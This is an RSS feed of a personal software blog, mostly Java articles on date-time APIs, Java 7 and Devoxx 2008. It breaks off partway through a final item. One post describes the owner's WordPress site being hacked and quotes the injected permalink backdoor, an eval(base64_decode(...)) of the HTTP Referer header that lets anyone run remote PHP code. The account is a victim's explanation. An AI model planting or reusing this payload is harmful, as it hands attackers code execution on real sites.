<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Martin @ Blog &#187; Software</title>
	<atom:link href="http://www.wolkje.net/category/software/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.wolkje.net</link>
	<description>software development and life.</description>
	<lastBuildDate>Sun, 10 Jan 2010 11:18:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Java Date and Time API and JSR-310</title>
		<link>http://www.wolkje.net/2010/01/06/java-date-and-time-api-and-jsr-310/</link>
		<comments>http://www.wolkje.net/2010/01/06/java-date-and-time-api-and-jsr-310/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 11:48:21 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Date Time API]]></category>
		<category><![CDATA[Joda Time]]></category>
		<category><![CDATA[JSR-310]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=320</guid>
		<description><![CDATA[Dutch version can be found at the Finalist IT Group weblog.
Since the start of the development of JDK 7, there is quite some discussion on the API&#8217;s in the standard Java libraries which covers date and time. In the current Java version (1.6) there are roughly three major (groups of) classes which are responsible for [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.finalist.com/2010/01/06/datum-en-tijd-in-java/">Dutch version</a> can be found at the <a href="http://blog.finalist.com/2010/01/06/datum-en-tijd-in-java/">Finalist IT Group weblog</a>.</p>
<p>Since the start of the development of JDK 7, there is quite some discussion on the API&#8217;s in the standard Java libraries which covers date and time. In the current Java version (1.6) there are roughly three major (groups of) classes which are responsible for handling date and time: Date and Calendar, the formatting classes, and the classes in the java.sql package, including java.sql.Date, java.sql.Time and java.sql.Timestamp. Most developers agree that these classes are far from perfect.</p>
<p>In order to resolve this issue, JSR-310 is started to improve the date and time API in the standard Java libraries. However, due to lack of developers and slow progress, it became very uncertain if the JSR would be ready for inclusion in JDK 7 (which will eventually become Java 7, the name I will use in the rest of this article). JSR-310 is lead by Stephan Colebourne and Michael Nascimento Santos. Colebourne is the original author of the increasingly popular Joda Time project, which is a replacement for the default Java date and time API&#8217;s. At Devoxx 2009, taking place last November, Mark Reinhold of Sun announced that Java 7 will be delayed until September 2010 at the earliest. Stephan Colebourne sees this as a <a href="https://jsr-310.dev.java.net/servlets/ReadMsg?list=dev&#038;msgNo=1835" target="_blank">opportunity</a> to release at least a partially complete JSR-310 in time for the upcoming Java release.<span id="more-320"></span></p>
<p>But why is the current Java date and time API broken? How can you circumvent the issues in this API? And how does JSR-310 intends to resolve the issues in the upcoming release? These questions I will try to answer in this article.</p>
<h2>Current date and time API in Java</h2>
<p>While it is a bit to much to explain the complete workings of the date and time API in Java 1.6 (and before), I will try to explain the main problems with the current date and time API in Java. I assume some upfront knowledge of the API by the reader, but probably it is not very difficult to follow for people who don&#8217;t have extensive experience with the API.</p>
<p>The Java 1.6 standard library contains a few classes which deals with date and time. The most important ones are <tt>Date</tt> and <tt>Calendar</tt>. Almost the entire API is designed around these two classes. The main problem with them is that fairly simple operations on date and time require a rather large amount of code with many instances of individual classes. This has a negative impact on performance. The API is inconsistent and confusing for developers, making code using <tt>Date</tt> and <tt>Calendar</tt> hard to read and maintain. Additionally, the API is incomplete which force developers to create custom solutions for simple problems. Finally, the API misses opportunities which would made the usage of the API simpler. With this last point, I mainly refer to the lack of fluent API&#8217;s and the fact that all objects are mutable.</p>
<p>In the current API only a specific instance in time can be represented using a <tt>Date</tt> object. This object represents a specific point in time, internally defined by the number of milliseconds since the Epoch (January the 1st 1970 at 0:00 hour) and a timezone. In fact, this could be easily represented by an immutable object. Unfortunately, this is not the case. In earlier Java versions, many methods were added to the <tt>Date</tt> class making it possible to manipulate it. Nowadays, almost all these methods are deprecated and should not be used anymore. However, they still exists, and worse of all the <tt>setTime(long time)</tt> method is not deprecated and changes the state of a <tt>Date</tt> object.</p>
<p>The fact that <tt>Date</tt> is a mutable object, makes it hard to use it in other classes which are immutable. One should always make a defensive copy of every Date object that is part of an immutable object. Joshua Bloch gives an example in his book Effective Java:</p>
<pre name="code" class="java">
public final class Period {
  private final Date start;
  private final Date end;

  public Period(Date start, Date end) {
    if (start.compareTo(end) > 0)
      throw new IllegalArgumentException(start + " after " + end);
    this.start = start;
    this.end = end;
  }

  public Date start() {
    return start;
  }

  public Date end() {
    return end;
  }
}
</pre>
<p>Objects of the type <tt>Period</tt> appears to be immutable, however it is not due to the usage of the <tt>Date</tt> class. An example where a <tt>Period</tt> object is changed:</p>
<pre name="code" class="java">
Date start = new Date();
Date end = new Date();
Period p = new Period(start, end);
end.setYear(78); // Modifies internals of P!
</pre>
<p>This bug makes it possible to change the end date of the <tt>Period</tt> p, which renders the check in the constructor of <tt>Period</tt> void. Of course, there is a pretty simple way to prevent this problem by making a copy of <tt>start</tt> and <tt>end</tt> in the constructor of <tt>Period</tt>:</p>
<pre name="code" class="java">
public period(Date start, Date end) {
  this.start = new Date(start.getTime());
  this.end = new Date(end.getTime());
  [...] // remainder omitted
}
</pre>
<p>However, this requires additional effort of the user of the API and can easily be forgotten. When Date objects would be immutable, this extra copy would not be necessary.</p>
<p>The other class in the date and time API in Java is the Calendar class. Instances of this class represents a point at a specific type of calendar (most of the time Gregorian) and provide methods to do some simple calculations. The main problem with this class is that it is mutable as well. The methods on this class are also not very beautiful. For example, to get the current year of the Calendar instance <tt>cal</tt>, one should call <tt>cal.get(YEAR)</tt> where YEAR is a constant. It is also confusing that a Calendar can operate in two modes, namely &#8216;lenient&#8217; and &#8216;non-lenient&#8217;. In the first case, it is possible to define values for fields which are normally out of range. For example, it is possible to set the month to 15. The Calendar object then automatically converts it to a valid month, by increasing the year by one, and set the month to april.<br />
Wait, april I wrote? Yes, months are zero-based in the Calendar (however, days, years, etc. are not).<br />
The way the days of a week are represented are a little bit confusion</p>
<p>The main problems are clear now, however, there are many other smaller problems. For example, there also exists java.sql.Date, java.sql.Time and java.sql.Timestamp. These classes are childs of the java.util.Date class, but add some functionality for use in databases. However, there is a problem in the implementation of these classes. The java.sql.Date class and is used to represent a date without a time, while the java.sql.Time class represents a time without a date. Timestamp adds nanoseconds to the Date object. However, internally they still contain both a time and date and the implementers did not override the equals and hashCode methods causing hard to find bugs:</p>
<pre name="code" class="java">
Date date = new Date();
Time time = new Time(date.getTime());
java.sql.Date sqldate = new java.sql.Date(date.getTime());
Timestamp timestamp = new Timestamp(date.getTime());

System.out.println(date.toString()); // Sun Dec 20 15:53:55 CET 2009
System.out.println(time.toString()); // 15:53:55
System.out.println(sqldate.toString()); // 2009-12-20
System.out.println(timestamp.equals(date)); // false
System.out.println(date.equals(timestamp)); // true
</pre>
<p>This means that java.sql.Timestamp does not obey to the equals contract, saying that the equals should be symmetric. Additionally, it is confusing that Time and java.sql.Date only represent a part of the date, but still use the same equals implementation.<br />
<div id="attachment_337" class="wp-caption alignnone" style="width: 510px"><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2009/12/Clock.jpg" alt="Astronomical Clock" title="Astronomical Clock" width="500" height="500" class="size-full wp-image-337" /><p class="wp-caption-text">Astronomical Clock</p></div><br />
There are more problems with the current API. For example, there is no way to define durations or a reliable way to represent a date without a time, or a time without a date. The performance of the API is unpredictable, because the fields are recalculated at unexpected moments. Finally, it is not very straightforward to format a date for print. One should use the (Simple)DateFormat classes for this, which means additional objects.</p>
<h2>Joda Time</h2>
<p>At this moment there is already a working solution for the problems described in the previous section. It&#8217;s called Joda Time and this is a replacement for the date and time API in the Java standard library. Joda Time solves most problems that currently exists. Joda Time contains two ways of defining a particular date or time: <em>instant</em> for a particular point in the &#8216;date time continuum&#8217; and <em>partial</em> for a time or date representation which is not exactly a point in time, because a part is missing (the time, timezone, year, etc.). </p>
<p>Intstants in Joda Time are defined by the <tt>ReadableInstant</tt> interface, of which the most used implementation the <tt>DateTime</tt> class is. A <tt>DateTime</tt> object is immutable and contains a fluent API to do calculations on it (which of course return new objects). In order to make it easy to use it in existing projects, it is easy to convert a JDK <tt>Date</tt> object to a <tt>DateTime</tt> object and vice versa. Joda Time also provides a mutable version of the <tt>DateTime</tt> class, <tt>MutableDateTime</tt>, which can be used when a lot of transformation on a date has to be done. However, the usage of this object is most of the time not really necessary and should be avoided in my opinion. A <tt>MutableDateTime</tt> can easily be converted to a immutable version of it.</p>
<p>Partials are represented by the <tt>ReadablePartial</tt> interface, of which the most used implementations are <tt>LocalDate</tt>, <tt>LocalTime</tt> and <tt>LocalDateTime</tt>. Object of these types are also immutable and can easily be converted to <tt>DateTime</tt> objects and JDK Date objects. Additionally, Joda Time contains <tt>Duration</tt>, <tt>Period</tt> and <tt>Interval</tt> for completeness. </p>
<p>Of course, an example of Joda Time usage cannot be omitted in this article:</p>
<pre name="code" class="java">
DateTime now = new DateTime();
Period sixdays = new Period(0, 0, 0, 6, 6, 0, 0, 0);
System.out.println(now); // 2009-12-20T18:35:53.360+01:00
DateTime future = now.plus(sixdays);
System.out.println(future); // 2009-12-27T00:41:59.097+01:00
System.out.println(now.withYear(2028).plusDays(31).toString("dd-MM-yyyy hh:mm")); // 20-01-2029 06:41
</pre>
<p>This example initializes now to the current time (the default value of a <tt>DateTime</tt> without constructor parameters). The variable sixdays contains a reference to a <tt>Period</tt> object which defines a period of 6 days and 6 hours. Periods can easily be added to a <tt>DateTime</tt> object using the plus() method. Note that the result of the method should be assigned to a variable, since it does not modify the existing object, but creates a new one which has to be assigned to a variable in order to use it actually.<br />
The last line shows how easy it is to perform simple calculations with date using Joda Time. Additionally, it shows another feature of Joda Time, namely the ease to format a date according to a specific pattern. A similar operation would be much more difficult using the JDK Date and Calendar classes, since one would have to instanciate a <tt>Calendar</tt>, <tt>Date</tt>, <tt>SimpleDateFormat</tt> and call several individual methods.</p>
<p>Joda Time also makes many other use cases very simple. For example, the <tt>DateTime</tt> constructor accept many different types of objects for initialization. For example, one can provide many different formatted String objects, which are automatically parsed correctly. This includes the ISO 8601 format, which is used in XML. For testing purposes Joda Time also makes it possible to change the current time, using <tt>DateTimeUtils.setCurrentMillisFixed(millis);</tt>.</p>
<h2>JSR-310 and Joda Time</h2>
<p>As mentioned earlier, JSR-310 is lead by Stephan Colebourne, who also created Joda Time. It may be obvious to take the latest Joda Time release and put a JSR stamp on it, declaring it the reference implementation. This is not what is happening, with good reason.<br />
Stephan devoted a <a href="http://www.jroller.com/scolebourne/entry/why_jsr_310_isn_t">recent blog post</a> on this topic, explaining why JSR-310 differs from Joda Time. The main reason is that Joda Time is not perfect.<br />
The design goals for JSR-310 are clearly defined: The API should support immutability, a fluent API, it has to be extensible and the API should be clear, explicit and expected. Especially this last point is where Joda Time is not perfect. For example, Joda Time uses the notion of Chronology to represent different calendar types. It is possible to define the Chronology when instantiating a <tt>DateTime</tt> object. In the default case, a DateTime object will return a value between 1 and 12 when calling the getMonthOfDay() method. However, when using a for examle a Coptic Chronology, this method can also return 13, since the Coptic calendar has 13 months. This makes the API return values the user might not expect, and in fact, the previous method call requires a check to make sure the result is as expected. Also the use of the <tt>ReadableInstant</tt> by <tt>DateTime</tt> and the <tt>Instant</tt> class (which is a machine representation of an instant in time) is wrong, since there is difference in how humans define an instant in time compared to how machines see it. Finally, Joda Time accept null values in many places without throwing an error, which is also wrong according to Colebourne.</p>
<p>The issues in Joda Time should be fixed in the JSR-310 implementation making it an even better date and time API. Should we therefor not use Joda Time? Definitely not! Of all available options, Joda Time is definitely the best choice for working with dates and times in Java. The fact that the completion of JSR-310 takes a very long time, is since for most developers Joda Time fixes the problem that exists in the current JDK API, making the urgency of completing JSR-310 pretty low.</p>
<h2>Conclusion</h2>
<p>The date and time function in the default Java SDK is flawed in many ways. While it can be used for most projects with some extra effort, it can also cause many unexpected problems. JSR-310 is on its way to finally fix this problem. However, it is still not yet sure if it will be part of Java 7, mainly because of the lack of developers.<br />
For new projects, there is very few arguments for not using Joda Time. It is well tested and well supported, including support for Hibernate and JSP&#8217;s. It makes it a lot easier to perform calculations using dates, and provides an easy to use API with reliable performance.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2010/01/06/java-date-and-time-api-and-jsr-310/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>My blog was hacked</title>
		<link>http://www.wolkje.net/2009/10/10/my-blog-was-hacked/</link>
		<comments>http://www.wolkje.net/2009/10/10/my-blog-was-hacked/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 11:33:29 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=317</guid>
		<description><![CDATA[So, if anybody is visiting this weblog (probably that aren&#8217;t many people anymore, partly because I didn&#8217;t post anything recently&#8230;) they definitely noticed that I was a victim of one of the many exploits that are available for Wordpress weblogs. The frontpage looked alright, but if one tried to view a single post or clicked [...]]]></description>
			<content:encoded><![CDATA[<p>So, if anybody is visiting this weblog (probably that aren&#8217;t many people anymore, partly because I didn&#8217;t post anything recently&#8230;) they definitely noticed that I was a victim of one of the many exploits that are available for Wordpress weblogs. The frontpage looked alright, but if one tried to view a single post or clicked some random link on my weblog, the page didn&#8217;t work. Of course, I was running an old version of Wordpress (2.5 actually&#8230;).<span id="more-317"></span></p>
<p>After some quick research, it seems there was a bug in Wordpress which made it possible to alter the database using SQL injection. I was victim of a widely available exploit which changed the permalink URL&#8217;s to something ending with <tt>%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;%/</tt>. This was done by changing the permalink option of Wordpress, which appends this snippet to every URL. </p>
<p>It is quite obvious what it does: everything in the HTTP_REFERER header is base64_decoded and evaluated. So, anybody could execute PHP code on my server by adding it to the referer header (which is very simple). </p>
<p>Many reports by victims of this hack have additional administrators for their blog. Fortunately, that was not the case with my blog. </p>
<p>This is the first time in my life I was subject to hackers or something like that. </p>
<p>More information on how to deal with this hack can be found on the weblog <a href="http://www.journeyetc.com/uncategorized/wordpress-permalink-rss-problems/">Journey Etc.</a>.</p>
<p>By the way, I have to say that the new admin interface that come with Wordpress 2.8.4 is very nice. It is definitely an improvement over the old one (of which the source code also wasn&#8217;t very nice..). </p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2009/10/10/my-blog-was-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java 7: new coffee</title>
		<link>http://www.wolkje.net/2009/03/25/java-7-new-coffee/</link>
		<comments>http://www.wolkje.net/2009/03/25/java-7-new-coffee/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 21:55:03 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[Java 7]]></category>
		<category><![CDATA[JDK]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=312</guid>
		<description><![CDATA[Last week, I wrote an article for our corporate weblog on the development of Java 7. Since the article was in Dutch, I didn&#8217;t post it on my personal blog. But I wanted to post some follow ups, and since it is not very easy to do this on the weblog of Finalist, I decided [...]]]></description>
			<content:encoded><![CDATA[<p>Last week, I wrote an article for our corporate <a href="http://blog.finalist.com">weblog</a> on the development of Java 7. Since the article was in Dutch, I didn&#8217;t post it on my personal blog. But I wanted to post some follow ups, and since it is not very easy to do this on the weblog of Finalist, I decided to translate the article to English and post it here. The translation is done pretty quickly, and thus very likely a bit rough on the edges. I think it is also interesting for non-Dutch readers. <span id="more-312"></span></p>
<p>While Java is already in the game for several years, development on new features and improvements for the language are still going on to ensure that Java will be useful in the future. Java 6 has been released more than two years ago, and is slowly becoming old caffee. Most people prefer freshly cooked caffee, and therefore a large number of developers are working on Java 7. The planned release for this newly brewed Java is stated for March 2010. In this article, I will try to provide an overview on the current state of Java 7 and what we can expect in the final release.</p>
<h2>Big changes</h2>
<p>While it is far from sure which will eventually be part of Java 7, some big changes are defined of which it will be very likely that it will be part of the new release. The most important change is <a href="http://blogs.sun.com/mr/entry/jigsaw">modularization</a> of the JDK. This project, which is currently knonw by the name <a href="http://openjdk.java.net/projects/jigsaw/">&#8216;Project Jigsaw&#8217;</a>, aims to provide a more flexible platform and make it easier to distribute Java libraries and applications. In a nutshell, the idea is to extend the Java language with syntax to load modules and define to which module a particular Java class, interface or package belongs. A module is a top level grouping of Java packages on a language level and jar files on a file system level. Java modules can be loaded dynamically &#8211; comparable to the way in which OSGi works &#8211; and it is possible to define dependencies within modules. Such a dependency can be optional, but it is also possible to prevent other modules to depend upon a given module. A new accessibily level will be added for classes and interfaces which makes it possible to restrict access to a certain class or interface from within the current module. As for now, the keyword which is proposed for this feature is &#8216;module&#8217;, but it will remain possible to call classes and other elements module (so, it will not become a reserved keyword).</p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2009/03/jigsaw.jpg'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2009/03/jigsaw.jpg" alt="" title="jigsaw" width="160" height="121" class="alignleft size-full wp-image-313" style="border: thin solid black;" /></a>The biggest advantages of the modularization will be the reduced amount of dependency problems within libraries, which is currently a major issue in larger Java applications. Project Jigsaw will make it possible to use multiple versions of the same module in a single application. Another advantages is that the JDK will be modularized as well, which makes it possible to reduce the core JDK significantly. Parts of the JDK which are not required for a certain application don&#8217;t have to be installed on the system, increasing the speed and reducing the size of the used JDK. Parts of Java which are not used anymore can be depricated more easily (because there are simply not installed anymore) and it will also be easier to add new parts to the JDK.</p>
<p>The modularization of the Java language is a very invasive operation. It requires changes to the syntax of the language, to the core libraries and the Java compiler. Sun Microsystems took the burden upon itself to implement this change, but also stated that it won&#8217;t be possible to make other large changes to the language. Victims of this decision are closures and the support for property fields.</p>
<p>Av few other changes which will be very likely to find their way into the JDK 7 is the NIO2 library. NIO2 uses operating system specific code to access files, directories and network resources, which leads to several speed improvements as well as extended capabilities which were not possible without NIO2. One of the notable improvements offered by NIO2 is the possibility of asynchronous access of (metadata) of files, enabling for example to execute code when a file is change without having to poll the file regularly for changes. There will also be changes to the concurrency framework, improvements in the other standard Java libraries and updates to the Swing framework, including the Swing Application framework and a multimedia component which makes it easier to implement video playing capabilities into Java applications. </p>
<h2>JVM changes</h2>
<p>Another big improvement, which will certainly be part of Java 7, is the so-called &#8216;invoke dynamic&#8217; feature for the JVM. This is not a change to the Java programming language, but will only be cause changes in the virtual machine. Invoke dynamic will benefit the dynamic languages which are available for the JVM, including JRuby, Jython, Scala, Clojure, Groovy, JavaFX and Fan. A complete explanating of this feature would require a article in itself (apart from the fact I can&#8217;t really explain it completely and corretly at this moment). It will make it possible to execute individual methods which don&#8217;t necessarily belong to a particular object or class. This is especially relevant for languages which support closures or provide possibilities to add methods to an object after it has been instanciated. </p>
<p>The current development version of the JVM (under the OpenJDK umbrella) already contains a new garbage collector (called Garbage First) which will improve performance in comparison to the current garbage collector (which uses a concurrent mark sweep algorithm), but the most important improvement is that the GC time will be more predictable.</p>
<h2>Project Coin</h2>
<p>There is a lot to write on the new features which are considered for Java 7 inclusion. However, space is limited here, so I have to wrap it up. There is one item which I will discuss here, and that is <a href="http://openjdk.java.net/projects/coin/">Project Coin</a>. Despite the fact that there will not be many large changes to the Java programming language with the Java 7 release, the developers would not want to skip the opportunity to do small languages changes with this new major release. These small language changes are selected using strict criteria: a language change should be relatively easiliy to implement and should give a significant productivity improvement for a Java programmer. An example of such a feature from the past is the &#8216;foreach&#8217; construction added with Java 5.</p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2009/03/insert-coin.jpg'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2009/03/insert-coin.jpg" alt="" title="insert-coin" width="200" height="194" class="alignright size-medium wp-image-314" style="border: thin solid black;" /></a>Everyone who has a good idea for a small language improvement can submit his proposal to the Project Coin <a href="http://blogs.sun.com/darcy/entry/project_coin_now_live">mailinglist</a>. The proposal should be done using a standard proposal form and has to be submitted before the 30th of March 2009. At the moment of this writing, there were 21 proposal submitted. A few of them are seriously considered for implementation (eventually, about five proposals will be part of Java 7):</p>
<ul>
<li>The possibility to use Strings in a switch statement.</li>
<li>Improved type inference for Generics, making it possible to write for example the following:<br />
<code>Map&lt;String , List&lt;String&gt;&gt; myMap = new HashMap&lt;&gt;();</code>.<br />
It would not be required anymore to repeat the types on the right side statement, which reduces the amount of typing by the programmer.
</li>
<li>The &#8216;elvis&#8217; operator and other operators which will make testing for null on variables unnecessairy. Example:<br />
<code>
<pre>MyObject myInstance = getMyInstance();
MyInstance.?toString();
</pre>
<p></code><br />
In the current Java, the myInstance.toString() call should be preceded by a checn on null for myInstance in order to avoid a possible NullPointerException.</li>
<li>Improved exception handling, including the possibility to handle multiple exceptions within one catch block and safe rethrow of exceptions.</li>
</ul>
<p>There are more interesting (and not-so-interesting) proposals, and there will definitaly be more new proposals submitted before the deadline will pass, but the list above will give a rough indication of which we can expect in Java 7. For developers who are interested in language development and in which way Java will evolve with the next release, it is certainly worthwhile to check out the Project Coin mailinglist. There are very intersting discussions on the proposed features and the huge implications which can come with (apparently) small changes. </p>
<h2>Conclusion</h2>
<p>Since it will take at least another year before Java 7 is released, at this moment the rough shape of this upcoming release is slowly revealed. Of course things will change over the next year and the described features are far from there eventual specification, it is safe to conclude that Java 7 will bring nice improvements. Not only for Java developers, but also for developers using alternative languages for the JVM.</p>
<p>The biggest difference compared to previous Java releases is the fact that all development is done in the open. Most of it will be part of the OpenJDK project, and otherwise as part of the Java 7 project. The OpenJDK development release, which already contains some improvements for Java 7, can be <a href="https://jdk7.dev.java.net/">downloaded</a> and installed at this very moment. So check it out if you want to try the new features!</p>
<p>I will try to give updates on this blog when there is something interesting to tell on the Java 7 development.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2009/03/25/java-7-new-coffee/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Devoxx 2008: JavaFX, Java 7 and dynamic languages</title>
		<link>http://www.wolkje.net/2008/12/13/devoxx-2008-javafx-java-7-and-dynamic-languages/</link>
		<comments>http://www.wolkje.net/2008/12/13/devoxx-2008-javafx-java-7-and-dynamic-languages/#comments</comments>
		<pubDate>Sat, 13 Dec 2008 14:21:53 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[conferences]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Devoxx]]></category>
		<category><![CDATA[Groovy]]></category>
		<category><![CDATA[Java 7]]></category>
		<category><![CDATA[JavaFX]]></category>
		<category><![CDATA[Scala]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=303</guid>
		<description><![CDATA[Each year during the middle of December, the European Java community gathers at Antwerp to get updated on the latest developments in their profession. This year, Devoxx was organised for the first time from 8 until 12 December. The event was sold out for the second time in a row. This contradiction is caused by [...]]]></description>
			<content:encoded><![CDATA[<p>Each year during the middle of December, the European Java community gathers at Antwerp to get updated on the latest developments in their profession. This year, Devoxx was organised for the first time from 8 until 12 December. The event was sold out for the second time in a row. This contradiction is caused by the fact that Devoxx until this year was known under the name JavaPolis, but due to a dispute with regards to the Java brand, the name was changed into Javox and finally to Devoxx. In this post I will give my impressions of two days of this event. A <a href="http://blog.finalist.com/2008/12/13/devoxx-2008-javafx-java-7-en-scripttalen/#more-311">Dutch version</a> of this post is available at the weblog of my employer. <span id="more-303"></span></p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9505.jpg'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9505-300x200.jpg" alt="" title="Devoxx Banner" width="300" height="200" class="alignleft size-medium wp-image-304" style="border: thin solid black"/></a>With 3200 visitors from 35 different countries, the event was completely sold out. The five days Devoxx is held, are split into two parts. The Monday and Tuesday were so-called &#8216;university&#8217; days, consisting of longer in-depth talks taking three hours. The Wednesday, Thursday and Friday are the conference days, and contained the most interesting talks including some new announcements by the leaders of the Java community. Apart from the lectures, there was a booth floor with booths of Java related companies, such as IBM, Sun but also Microsoft and Adobe were present. I attended only the Wednesday and Thursday. Because of planning issues at work, it was not possible for me to visit the other days.</p>
<p>As expected, the main topics during Devoxx were the current hypes and trends in Java world. A major topic was of course JavaFX, which was released only one week before Devoxx by Sun Microsystems. Also other Rich Internet Application platforms got attention during Devoxx, but remarkably less than JavaFX. Another subject which got a lot of attention during the conference were alternative languages for the JVM, especially <a href="http://groovy.codehaus.org/">Groovy</a>, <a href="http://www.scala-lang.org/">Scala</a>, <a href="http://jruby.codehaus.org/">JRuby</a> and <a href="http://www.jython.org/">Jython</a>. In various talks not directly related to Groovy or Scala, examples were giving using these alternative languages. This clearly indicates that these new languages have a important position in the Java-world. In fact, JavaFX is also an alternive scripting language for the JVM, but obviously this language has a slightly different goal, because this language is mainly focused on RIA&#8217;s. Finally, the upcomping improvements in Java 7 was also a hot topic. </p>
<p>Wednesday started with a keynote consisting of two parts, where the second part consisted of a relatively boring promotion talk on RFID by IBM. The first part, however, was a lot more interesting. Danny Coward of Sun Microsystems introduced JavaFX and gave several demo&#8217;s showing the capabilities of this new platform and presented the global architecture of JavaFX. JavaFX is aimed at rich internet applications and competes with Microsoft Silverlight and Adobe Flex, among others. The main advantages of JavaFX is the fact that it is based on Java SE and in fact produces Java Applets, which implicates that it will run on a large part of the current browsers without the need of installing additional plugins. JavaFX strong points are the ability to work efficiently with multimedia and animations, which opens a lot of possibilities for Java developers. There are already many plugins for existing IDE&#8217;s like Eclipse and Netbeans, but also for tools used by designers, like Photoshop and Illustrator. A big disadvantage of the current JavaFX version is the lack of controls for data focussed applications, such as buttons, radio buttons and checkboxes.</p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9496.jpg'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9496-300x200.jpg" alt="" title="Mark Reinhold" width="300" height="200" class="alignright size-medium wp-image-306"  style="border: thin solid black"/></a>The Thursday keynote also consisted of two parts, but in contrast to the Wednesday, these were both very interesting. It started with a keynote by Joshua Bloch, author of the Effective Java book and one of the lead developers of Java SE 5. Bloch, currently working for Google, discussed some items of his Effictive Java book (the talk was apparently identical to the one he gave at JavaOne). The second part of the keynote was given by Mark Reinhold of Sun and consisted for the largest part of a discussion of <a href="http://blogs.sun.com/mr/entry/jigsaw">Project Jigsaw</a>. He also talked about the new features which will probably be part of the upcoming Java 7 release in 2010. Project Jigsaw is a attempt to modularize the Java SE and also enable Java applications to become modularized. The main advantage of this project is that it in the future will be easier to distribute Java applications and request a specific version of a Java library from within an application. The Java distribution will get profiles which are focussed on a specific task or platform. Examples of such profiles could be a mobile profile aimed at mobile phones, a desktop profile and a headless profile, which could be used by server applications. With regard to Java 7, he told that it will not contain closures (according to some people this is the death of Java&#8230;). Another remarkable notion is that Reinhold discussed the possibility to break compatibility in a future version of Java, which enables a clean-up of the Java language and libraries and introduce features which have a high impact on the language.</p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9513.jpg'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9513-200x300.jpg" alt="" title="Java Posse Live" width="200" height="300" class="alignleft size-medium wp-image-305" style="border: thin solid black"/></a>Of course, there is a lot more to write on Devoxx, since the amount of information is huge. Fortunately, all talks during the conference will be published on Parleys.com as podcast or vodcast. Interesting talks I attended where by Brian Goetz on concurrency in Java. During this talk, he presented the Fork/Join package, which could be part of Java 7. Goetz also did a talk together with Alex Buckley on the new JVM features to enable better performance of dynamic languages such as JRuby and Groovy. Bill Venners &#8211; author of the book &#8216;Programming Scala&#8217; &#8211; did an very interesting talk on Scala during which he mainly focussed on writing tests in Scala. Two Jetbrains developers presented how IntelliJ IDEA coped with alternative languages and how it coped with multi-language projects and especially the cross-language refactoring features. Another talk by the tech-lead of the Jersey JAX-RS reference implementation introduced JAX-RS, which can be used to develop RESTFul web applications. Of course there was also a delegation of the Java Posse team doing a Live Java Posse-podcast during which the guys from Attlassian gave away free beers. So all in all, Devoxx was really interesting for me and I attended a lot of interesting sessions which gave me inspiration for a while to experiment with some new languages and technologies! Hopefully I&#8217;m back next year!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2008/12/13/devoxx-2008-javafx-java-7-and-dynamic-languages/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Domain specific languages are hot!</title>
		<link>http://www.wolkje.net/2008/11/12/domain-specific-languages-are-hot/</link>
		<comments>http://www.wolkje.net/2008/11/12/domain-specific-languages-are-hot/#comments</comments>
		<pubDate>Wed, 12 Nov 2008 21:34:20 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[dsl]]></category>
		<category><![CDATA[java]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=299</guid>
